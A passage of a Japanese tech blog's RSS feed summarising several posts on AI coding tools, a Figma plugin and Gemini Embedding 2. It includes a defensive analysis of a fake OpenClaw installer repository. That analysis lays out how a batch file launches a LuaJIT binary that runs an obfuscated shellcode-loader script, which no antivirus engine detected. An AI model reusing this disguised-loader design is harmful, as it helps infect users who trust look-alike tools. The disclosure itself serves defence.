&lt;p&gt;速度面では Codex が圧倒的です。ただし、Claude Code はトークン消費量が 3.2〜4.2 倍多い傾向にあり、同じタスクでもより多くの推論を行っている可能性があります。&lt;/p&gt;</description></item><item><title>Claude Code vs OpenClaw — 「どっちを勉強すべき？」に対する責務ベースの選び方</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-vs-openclaw-%E3%81%A9%E3%81%A3%E3%81%A1%E3%82%92%E5%8B%89%E5%BC%B7%E3%81%99%E3%81%B9%E3%81%8D%E3%81%AB%E5%AF%BE%E3%81%99%E3%82%8B%E8%B2%AC%E5%8B%99%E3%83%99%E3%83%BC%E3%82%B9%E3%81%AE%E9%81%B8%E3%81%B3%E6%96%B9/</link><pubDate>Wed, 11 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-vs-openclaw-%E3%81%A9%E3%81%A3%E3%81%A1%E3%82%92%E5%8B%89%E5%BC%B7%E3%81%99%E3%81%B9%E3%81%8D%E3%81%AB%E5%AF%BE%E3%81%99%E3%82%8B%E8%B2%AC%E5%8B%99%E3%83%99%E3%83%BC%E3%82%B9%E3%81%AE%E9%81%B8%E3%81%B3%E6%96%B9/</guid><description>&lt;p&gt;AI コーディングエージェントの選択肢が増えるなか、「Claude Code と OpenClaw、どっちを勉強すべき？」という疑問を抱く人が増えている。AI駆動塾（&lt;a href="https://x.com/L_go_mrk"&gt;@L_go_mrk&lt;/a&gt;）が両方を実際に触った上での&lt;a href="https://note.com/l_mrk/n/n435e046b6a67"&gt;比較記事&lt;/a&gt;を公開した。本記事では、この比較を起点に両ツールの位置づけを整理する。&lt;/p&gt;
&lt;h2 id="そもそも何が違うのか"&gt;そもそも何が違うのか&lt;/h2&gt;
&lt;p&gt;一言でまとめると、**Claude Code は「開発」、OpenClaw は「運用・自動化」**のためのツールだ。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;観点&lt;/th&gt;
&lt;th&gt;Claude Code&lt;/th&gt;
&lt;th&gt;OpenClaw&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;開発元&lt;/td&gt;
&lt;td&gt;Anthropic（プロプライエタリ）&lt;/td&gt;
&lt;td&gt;Peter Steinberger（オープンソース）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;主な用途&lt;/td&gt;
&lt;td&gt;コーディング、PR レビュー、リファクタリング&lt;/td&gt;
&lt;td&gt;日常タスク自動化、DevOps、定期ジョブ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;インターフェース&lt;/td&gt;
&lt;td&gt;ターミナル CLI&lt;/td&gt;
&lt;td&gt;メッセージングアプリ（Telegram, Discord, Signal 等）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;記憶&lt;/td&gt;
&lt;td&gt;セッションごとにリセット（CLAUDE.md で補完）&lt;/td&gt;
&lt;td&gt;永続メモリ（日記、TODO リスト、アイデンティティファイル）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;料金&lt;/td&gt;
&lt;td&gt;サブスクリプション（月額 $20〜）または API 従量課金&lt;/td&gt;
&lt;td&gt;無料（接続する LLM API の料金のみ）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LLM&lt;/td&gt;
&lt;td&gt;Claude モデル固定&lt;/td&gt;
&lt;td&gt;Claude, DeepSeek, GPT 等を選択可能&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;セキュリティ&lt;/td&gt;
&lt;td&gt;Anthropic が管理、安全ガードレール付き&lt;/td&gt;
&lt;td&gt;ユーザー管理、システム権限を継承&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="claude-code-が強い領域"&gt;Claude Code が強い領域&lt;/h2&gt;
&lt;p&gt;Claude Code は SWE-bench で約 80.8% のスコアを達成しており、&lt;strong&gt;複雑なコード変更やリファクタリング&lt;/strong&gt;において高い精度を発揮する。Extended Thinking による段階的な推論が、大規模な変更を安全に実行する鍵になっている。&lt;/p&gt;
&lt;p&gt;強みをまとめると:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;コード品質&lt;/strong&gt;: Hooks による PostToolUse リンター自動実行、プリコミットチェック&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PR ワークフロー&lt;/strong&gt;: ブランチ作成→コミット→PR→レビューの一気通貫&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;エンタープライズ対応&lt;/strong&gt;: Team / Enterprise プラン、Code Review 機能&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安全性&lt;/strong&gt;: 破壊的操作に対するガードレール&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="openclaw-が強い領域"&gt;OpenClaw が強い領域&lt;/h2&gt;
&lt;p&gt;OpenClaw（愛称 &amp;ldquo;Molty&amp;rdquo;）は、&lt;strong&gt;常駐型の AI エージェント&lt;/strong&gt;だ。ターミナルで起動して終了する Claude Code と異なり、バックグラウンドで動き続け、cron ジョブやウェブフックでタスクを実行する。&lt;/p&gt;</description></item><item><title>Claude Code のスキルを作るなら skill-creator プラグインを使おう</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%AE%E3%82%B9%E3%82%AD%E3%83%AB%E3%82%92%E4%BD%9C%E3%82%8B%E3%81%AA%E3%82%89-skill-creator-%E3%83%97%E3%83%A9%E3%82%B0%E3%82%A4%E3%83%B3%E3%82%92%E4%BD%BF%E3%81%8A%E3%81%86/</link><pubDate>Wed, 11 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%AE%E3%82%B9%E3%82%AD%E3%83%AB%E3%82%92%E4%BD%9C%E3%82%8B%E3%81%AA%E3%82%89-skill-creator-%E3%83%97%E3%83%A9%E3%82%B0%E3%82%A4%E3%83%B3%E3%82%92%E4%BD%BF%E3%81%8A%E3%81%86/</guid><description>&lt;p&gt;Anthropic が公開した「The Complete Guide to Building Skills for Claude」という 33 ページの PDF ガイドが話題になっています。このガイドをそのまま Claude Code のメモリに読み込ませてスキル構築に活用しようとする人もいますが、実は公式の &lt;strong&gt;skill-creator プラグイン&lt;/strong&gt;を使う方がはるかに効率的です。&lt;/p&gt;
&lt;p&gt;skill-creator はガイドの内容をすべて反映しているだけでなく、テスト・最適化・トリガー精度改善といった仕組みも組み込まれています。PDF をメモリに入れるとコンテキストウィンドウを圧迫するリスクもあるため、新規スキル作成には skill-creator を導入するのがおすすめです。&lt;/p&gt;
&lt;h2 id="claude-code-のスキルとは"&gt;Claude Code のスキルとは&lt;/h2&gt;
&lt;p&gt;スキルとは、Claude に特定のタスクの実行方法を教える &lt;strong&gt;指示・スクリプト・リソースのフォルダ&lt;/strong&gt; です。&lt;code&gt;SKILL.md&lt;/code&gt; ファイルに YAML フロントマターと指示を記述するだけで作成できます。&lt;/p&gt;
&lt;p&gt;Claude Code は 3 段階の情報ロードシステム（&lt;strong&gt;Progressive Disclosure&lt;/strong&gt;）を採用しています。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;起動時&lt;/strong&gt;: インストール済みスキルの名前と説明文のみをシステムプロンプトに読み込む（スキルあたり約 50〜100 トークン）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;判定時&lt;/strong&gt;: ユーザーの入力に関連するスキルがあるかを判定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実行時&lt;/strong&gt;: 該当スキルの全内容をロード&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;この仕組みにより、多数のスキルをインストールしてもコンテキストウィンドウを無駄に消費しません。&lt;/p&gt;
&lt;h2 id="skill-creator-プラグインのインストール"&gt;skill-creator プラグインのインストール&lt;/h2&gt;
&lt;p&gt;skill-creator は Anthropic 公式マーケットプレイスに含まれています。Claude Code 内で以下のコマンドを実行するだけでインストールできます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/plugin install skill-creator@claude-plugins-official
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;インストール後、プラグインを有効化します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/reload-plugins
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;なお、&lt;code&gt;/plugin&lt;/code&gt; コマンドで &lt;strong&gt;Discover&lt;/strong&gt; タブを開き、GUI からインストールすることも可能です。プラグイン機能を利用するには Claude Code &lt;strong&gt;バージョン 1.0.33 以上&lt;/strong&gt; が必要です（&lt;code&gt;claude --version&lt;/code&gt; で確認できます）。&lt;/p&gt;</description></item><item><title>CLAUDE.md の設定を99%消したら逆にうまくいった話：AI への指示は「哲学」だけ残せ</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude.md-%E3%81%AE%E8%A8%AD%E5%AE%9A%E3%82%9299%E6%B6%88%E3%81%97%E3%81%9F%E3%82%89%E9%80%86%E3%81%AB%E3%81%86%E3%81%BE%E3%81%8F%E3%81%84%E3%81%A3%E3%81%9F%E8%A9%B1ai-%E3%81%B8%E3%81%AE%E6%8C%87%E7%A4%BA%E3%81%AF%E5%93%B2%E5%AD%A6%E3%81%A0%E3%81%91%E6%AE%8B%E3%81%9B/</link><pubDate>Wed, 11 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude.md-%E3%81%AE%E8%A8%AD%E5%AE%9A%E3%82%9299%E6%B6%88%E3%81%97%E3%81%9F%E3%82%89%E9%80%86%E3%81%AB%E3%81%86%E3%81%BE%E3%81%8F%E3%81%84%E3%81%A3%E3%81%9F%E8%A9%B1ai-%E3%81%B8%E3%81%AE%E6%8C%87%E7%A4%BA%E3%81%AF%E5%93%B2%E5%AD%A6%E3%81%A0%E3%81%91%E6%AE%8B%E3%81%9B/</guid><description>&lt;p&gt;Claude Code の設定ファイル &lt;code&gt;CLAUDE.md&lt;/code&gt; に「こう書け」「これは禁止」「この順番で処理しろ」とルールを追加していったら 300行を超え、AI の出力品質がどんどん落ちていった——そんな経験を経て「99%消した。残したのは、哲学だけ。」という結論に至った話が X で話題になっている。&lt;/p&gt;
&lt;h2 id="なぜルールを増やすと-ai-の性能が落ちるのか"&gt;なぜルールを増やすと AI の性能が落ちるのか&lt;/h2&gt;
&lt;h3 id="コンテキストウィンドウの競合"&gt;コンテキストウィンドウの競合&lt;/h3&gt;
&lt;p&gt;LLM はコンテキストウィンドウ内のすべての情報を処理する。&lt;code&gt;CLAUDE.md&lt;/code&gt; のルールが増えるほど、実際の作業に使える「注意力」が奪われる。コンテキストが埋まるにつれてパフォーマンスが低下するのは、LLM の根本的な特性だ。&lt;/p&gt;
&lt;h3 id="指示の上限問題"&gt;指示の上限問題&lt;/h3&gt;
&lt;p&gt;IFScale ベンチマークの研究によると、フロンティアモデルは &lt;strong&gt;150〜200個の指示&lt;/strong&gt; を超えたあたりから選択的注意のバイアスがピークに達し、それ以降は均一に失敗するパターンに収束する。Claude Code のシステムプロンプト自体がすでに約50個の指示を含んでいるため、ユーザーが使える枠は実質100〜150個。200行の詳細なルールを書いた時点で、すでに予算オーバーだ。&lt;/p&gt;
&lt;h3 id="指示追従バイアス"&gt;指示追従バイアス&lt;/h3&gt;
&lt;p&gt;LLM はプロンプトの &lt;strong&gt;先頭と末尾&lt;/strong&gt; の指示に従いやすい傾向がある。中間に埋もれたルールは見落とされがちだ。ルールが増えるほど、重要な指示が中間に埋もれて無視されるリスクが高まる。&lt;/p&gt;
&lt;h2 id="具体的に何が起こるか"&gt;具体的に何が起こるか&lt;/h2&gt;
&lt;p&gt;例えば「見出しは H2 を必ず4つ使え」「セクションは5つ構成にしろ」というルールを設定したとする。すると AI は、本来3セクションで十分な内容でも無理やり5セクションに引き伸ばし、冗長な文章を生成してしまう。&lt;/p&gt;
&lt;p&gt;ルールに &lt;strong&gt;従うこと自体が目的化&lt;/strong&gt; し、最適な出力を考える余地がなくなる。これは人間の組織でも起こる現象だ。過剰なルールがかえって生産性を下げる。&lt;/p&gt;
&lt;h2 id="哲学だけ残すアプローチ"&gt;「哲学だけ残す」アプローチ&lt;/h2&gt;
&lt;h3 id="細かいルールではなく方針を伝える"&gt;細かいルールではなく方針を伝える&lt;/h3&gt;
&lt;p&gt;悪い例:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;- 見出しは H2 を4つ使うこと
- 各セクションは200〜300文字
- コードブロックには必ず言語指定をつけること
- 箇条書きは最大5項目まで
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;良い例:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;- 読者が最短で理解できる構成を優先する
- 冗長さよりも明確さを重視する
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="anthropic-公式の推奨"&gt;Anthropic 公式の推奨&lt;/h3&gt;
&lt;p&gt;Anthropic の公式ドキュメントでも、&lt;code&gt;CLAUDE.md&lt;/code&gt; について以下のように推奨している:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;肥大化した CLAUDE.md は、実際の指示を AI に無視させる原因になる&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Claude がすでに正しくやっていることについては、わざわざルールを書かない&lt;/li&gt;
&lt;li&gt;削除できるものは削除し、自動化できるものはフックに変換する&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="progressive-disclosure-パターン"&gt;Progressive Disclosure パターン&lt;/h3&gt;
&lt;p&gt;すべての情報を &lt;code&gt;CLAUDE.md&lt;/code&gt; に詰め込むのではなく、&lt;strong&gt;情報の見つけ方&lt;/strong&gt; を教える方法が効果的だ。&lt;/p&gt;</description></item><item><title>Figma プラグイン Image Translator：画像からテキストを抽出して多言語翻訳</title><link>https://hdknr.github.io/blogs/posts/2026/03/figma-%E3%83%97%E3%83%A9%E3%82%B0%E3%82%A4%E3%83%B3-image-translator%E7%94%BB%E5%83%8F%E3%81%8B%E3%82%89%E3%83%86%E3%82%AD%E3%82%B9%E3%83%88%E3%82%92%E6%8A%BD%E5%87%BA%E3%81%97%E3%81%A6%E5%A4%9A%E8%A8%80%E8%AA%9E%E7%BF%BB%E8%A8%B3/</link><pubDate>Wed, 11 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/figma-%E3%83%97%E3%83%A9%E3%82%B0%E3%82%A4%E3%83%B3-image-translator%E7%94%BB%E5%83%8F%E3%81%8B%E3%82%89%E3%83%86%E3%82%AD%E3%82%B9%E3%83%88%E3%82%92%E6%8A%BD%E5%87%BA%E3%81%97%E3%81%A6%E5%A4%9A%E8%A8%80%E8%AA%9E%E7%BF%BB%E8%A8%B3/</guid><description>&lt;p&gt;海外サービスの UI を調査するとき、スクリーンショット内のテキストを手作業で翻訳するのは地味に手間がかかる。TSUMIKI INC. の鈴木慎吾氏（&lt;a href="https://x.com/shingo2000"&gt;@shingo2000&lt;/a&gt;）が公開した Figma プラグイン &lt;strong&gt;Image Translator&lt;/strong&gt; は、この作業を自動化してくれる。&lt;/p&gt;
&lt;h2 id="image-translator-とは"&gt;Image Translator とは&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://www.figma.com/community/plugin/1539071623933265305/image-translator"&gt;Image Translator&lt;/a&gt; は、Figma 上で選択した画像からテキストを自動抽出（OCR）し、指定した言語に翻訳する Figma プラグインだ。&lt;/p&gt;
&lt;p&gt;主な特徴：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;画像からのテキスト自動抽出&lt;/strong&gt; — スクリーンショットや UI キャプチャからテキストを認識&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;多言語翻訳&lt;/strong&gt; — 英語、日本語、中国語、スペイン語、韓国語、ポルトガル語などに対応&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2つの表示モード&lt;/strong&gt; — Figma のアノテーション機能で表示するモードと、テキストレイヤーとして配置するモードを選択可能&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="使い方"&gt;使い方&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Figma で翻訳したい画像を選択する&lt;/li&gt;
&lt;li&gt;プラグインメニューから Image Translator を起動する&lt;/li&gt;
&lt;li&gt;翻訳先の言語を選択する&lt;/li&gt;
&lt;li&gt;抽出・翻訳されたテキストがアノテーションまたはテキストレイヤーとして表示される&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="活用シーン"&gt;活用シーン&lt;/h2&gt;
&lt;h3 id="海外サービスのデザイン調査"&gt;海外サービスのデザイン調査&lt;/h3&gt;
&lt;p&gt;競合分析や UI リサーチで海外アプリのスクリーンショットを収集した際、画面内のテキストを素早く日本語で確認できる。翻訳結果がアノテーションとして画像に紐づくため、チームメンバーとの共有にも便利だ。&lt;/p&gt;
&lt;h3 id="多言語対応の確認"&gt;多言語対応の確認&lt;/h3&gt;
&lt;p&gt;自社サービスの多言語版スクリーンショットを取り込み、各言語のテキストが正しく表示されているか確認する用途にも使える。&lt;/p&gt;
&lt;h2 id="まとめ"&gt;まとめ&lt;/h2&gt;
&lt;p&gt;Image Translator は、デザイン調査における画像内テキストの翻訳という地味だが頻出する作業を自動化してくれるプラグインだ。海外サービスの UI を日常的に調査しているデザイナーにとって、ワークフローの効率化に役立つだろう。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Figma Community&lt;/strong&gt;: &lt;a href="https://www.figma.com/community/plugin/1539071623933265305/image-translator"&gt;Image Translator&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;作者&lt;/strong&gt;: &lt;a href="https://x.com/shingo2000"&gt;鈴木慎吾 / TSUMIKI INC.&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>GitHub で見つけた「便利ツール」を解析したらマルウェアだった話：偽 OpenClaw インストーラーの実態</title><link>https://hdknr.github.io/blogs/posts/2026/03/github-%E3%81%A7%E8%A6%8B%E3%81%A4%E3%81%91%E3%81%9F%E4%BE%BF%E5%88%A9%E3%83%84%E3%83%BC%E3%83%AB%E3%82%92%E8%A7%A3%E6%9E%90%E3%81%97%E3%81%9F%E3%82%89%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2%E3%81%A0%E3%81%A3%E3%81%9F%E8%A9%B1%E5%81%BD-openclaw-%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%A9%E3%83%BC%E3%81%AE%E5%AE%9F%E6%85%8B/</link><pubDate>Wed, 11 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/github-%E3%81%A7%E8%A6%8B%E3%81%A4%E3%81%91%E3%81%9F%E4%BE%BF%E5%88%A9%E3%83%84%E3%83%BC%E3%83%AB%E3%82%92%E8%A7%A3%E6%9E%90%E3%81%97%E3%81%9F%E3%82%89%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2%E3%81%A0%E3%81%A3%E3%81%9F%E8%A9%B1%E5%81%BD-openclaw-%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%A9%E3%83%BC%E3%81%AE%E5%AE%9F%E6%85%8B/</guid><description>&lt;p&gt;GitHub 上で OpenClaw の便利ツールを装った不審なリポジトリが発見され、実際に解析したところマルウェア（シェルコードローダー）であることが判明した。ひよっこサウナ氏（&lt;a href="https://zenn.dev/hiyoko_sauna"&gt;@hiyoko_sauna&lt;/a&gt;）による詳細な解析レポートを基に、この攻撃手法の全体像を紹介する。&lt;/p&gt;
&lt;h2 id="対象リポジトリの特徴"&gt;対象リポジトリの特徴&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;github.com/sdwadsagw/OpenClawInstaller&lt;/code&gt; という、「Open Claw を簡単にインストールできるツール」として公開されていたリポジトリが対象だ。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;値&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;アカウント作成日&lt;/td&gt;
&lt;td&gt;2026-02-11（リポジトリと同日作成）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Star / Fork&lt;/td&gt;
&lt;td&gt;2 / 0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;説明文&lt;/td&gt;
&lt;td&gt;「AI assistant for Open Claw」&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;使い捨てアカウント（リポジトリと同日作成）という時点で怪しさ満点だ。&lt;/p&gt;
&lt;h2 id="zip-の中身"&gt;ZIP の中身&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;Claw-Installer-Open-2.8-alpha.3.zip&lt;/code&gt; を展開すると 4 ファイルが入っていた。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ファイル&lt;/th&gt;
&lt;th&gt;サイズ&lt;/th&gt;
&lt;th&gt;VT 検出率&lt;/th&gt;
&lt;th&gt;説明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;StartApp.bat&lt;/td&gt;
&lt;td&gt;22 bytes&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;&lt;code&gt;start luau.exe asm.txt&lt;/code&gt; を実行するだけ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;luau.exe&lt;/td&gt;
&lt;td&gt;288,768 bytes&lt;/td&gt;
&lt;td&gt;25/76&lt;/td&gt;
&lt;td&gt;LuaJIT 2.1.0-beta3（正規バイナリ）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;lua51.dll&lt;/td&gt;
&lt;td&gt;390,144 bytes&lt;/td&gt;
&lt;td&gt;1/75&lt;/td&gt;
&lt;td&gt;LuaJIT 用ランタイム DLL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;asm.txt&lt;/td&gt;
&lt;td&gt;309,298 bytes&lt;/td&gt;
&lt;td&gt;0/76&lt;/td&gt;
&lt;td&gt;難読化された Lua スクリプト&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;注目すべきは &lt;strong&gt;asm.txt の検出率が 0/76&lt;/strong&gt; という点だ。悪意のあるコードは asm.txt に書かれているのに検出されず、無害な luau.exe の方が検出されるという逆転現象が起きている。&lt;/p&gt;</description></item><item><title>Google Gemini Embedding 2：テキスト・画像・動画・音声を統一ベクトル空間に埋め込むマルチモーダル埋め込みモデル</title><link>https://hdknr.github.io/blogs/posts/2026/03/google-gemini-embedding-2%E3%83%86%E3%82%AD%E3%82%B9%E3%83%88%E7%94%BB%E5%83%8F%E5%8B%95%E7%94%BB%E9%9F%B3%E5%A3%B0%E3%82%92%E7%B5%B1%E4%B8%80%E3%83%99%E3%82%AF%E3%83%88%E3%83%AB%E7%A9%BA%E9%96%93%E3%81%AB%E5%9F%8B%E3%82%81%E8%BE%BC%E3%82%80%E3%83%9E%E3%83%AB%E3%83%81%E3%83%A2%E3%83%BC%E3%83%80%E3%83%AB%E5%9F%8B%E3%82%81%E8%BE%BC%E3%81%BF%E3%83%A2%E3%83%87%E3%83%AB/</link><pubDate>Wed, 11 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/google-gemini-embedding-2%E3%83%86%E3%82%AD%E3%82%B9%E3%83%88%E7%94%BB%E5%83%8F%E5%8B%95%E7%94%BB%E9%9F%B3%E5%A3%B0%E3%82%92%E7%B5%B1%E4%B8%80%E3%83%99%E3%82%AF%E3%83%88%E3%83%AB%E7%A9%BA%E9%96%93%E3%81%AB%E5%9F%8B%E3%82%81%E8%BE%BC%E3%82%80%E3%83%9E%E3%83%AB%E3%83%81%E3%83%A2%E3%83%BC%E3%83%80%E3%83%AB%E5%9F%8B%E3%82%81%E8%BE%BC%E3%81%BF%E3%83%A2%E3%83%87%E3%83%AB/</guid><description>&lt;p&gt;Google が 2026年3月に公開した &lt;strong&gt;Gemini Embedding 2&lt;/strong&gt; は、テキスト・画像・動画・音声・ドキュメントを同一のベクトル空間に埋め込める、初のネイティブマルチモーダル埋め込みモデルだ。RAG パイプラインやマルチモーダル検索を構築する開発者にとって注目すべきモデルとなっている。&lt;/p&gt;
&lt;h2 id="主な特徴"&gt;主な特徴&lt;/h2&gt;
&lt;h3 id="ネイティブマルチモーダル対応"&gt;ネイティブマルチモーダル対応&lt;/h3&gt;
&lt;p&gt;従来の埋め込みモデルはテキスト専用か、別モデルで画像を処理する必要があった。Gemini Embedding 2 は全モダリティを &lt;strong&gt;3072次元の統一ベクトル空間&lt;/strong&gt; に直接埋め込む。これにより、テキストで検索して関連する画像や動画を取得するといったクロスモーダル検索が自然に実現できる。&lt;/p&gt;
&lt;p&gt;対応モダリティと制限:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;モダリティ&lt;/th&gt;
&lt;th&gt;制限&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;テキスト&lt;/td&gt;
&lt;td&gt;最大 8,192 トークン&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;画像&lt;/td&gt;
&lt;td&gt;1リクエストあたり最大 6枚（PNG, JPEG）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;動画&lt;/td&gt;
&lt;td&gt;最大 120秒（MP4, MOV）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;音声&lt;/td&gt;
&lt;td&gt;ネイティブ対応（テキスト変換不要）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;インターリーブ入力にも対応しており、1つのリクエストに画像とテキストを混在させて渡すことができる。&lt;/p&gt;
&lt;h3 id="matryoshka-表現学習mrl"&gt;Matryoshka 表現学習（MRL）&lt;/h3&gt;
&lt;p&gt;Matryoshka Representation Learning（マトリョーシカ表現学習）により、重要な意味情報がベクトルの先頭次元に集約される設計になっている。デフォルトの 3,072次元から 1,536 や 768次元に切り詰めても、検索品質の大部分を維持できる。&lt;/p&gt;
&lt;p&gt;Google の推奨次元数:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;3,072次元&lt;/strong&gt;：最高品質&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;1,536次元&lt;/strong&gt;：高品質（コスト削減向け）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;768次元&lt;/strong&gt;：バランスの良い推奨値&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;768次元に切り詰めた場合でも、同サイズの固定次元モデルを上回る性能を発揮するとされている。&lt;/p&gt;
&lt;h3 id="多言語対応と性能"&gt;多言語対応と性能&lt;/h3&gt;
&lt;ul&gt;
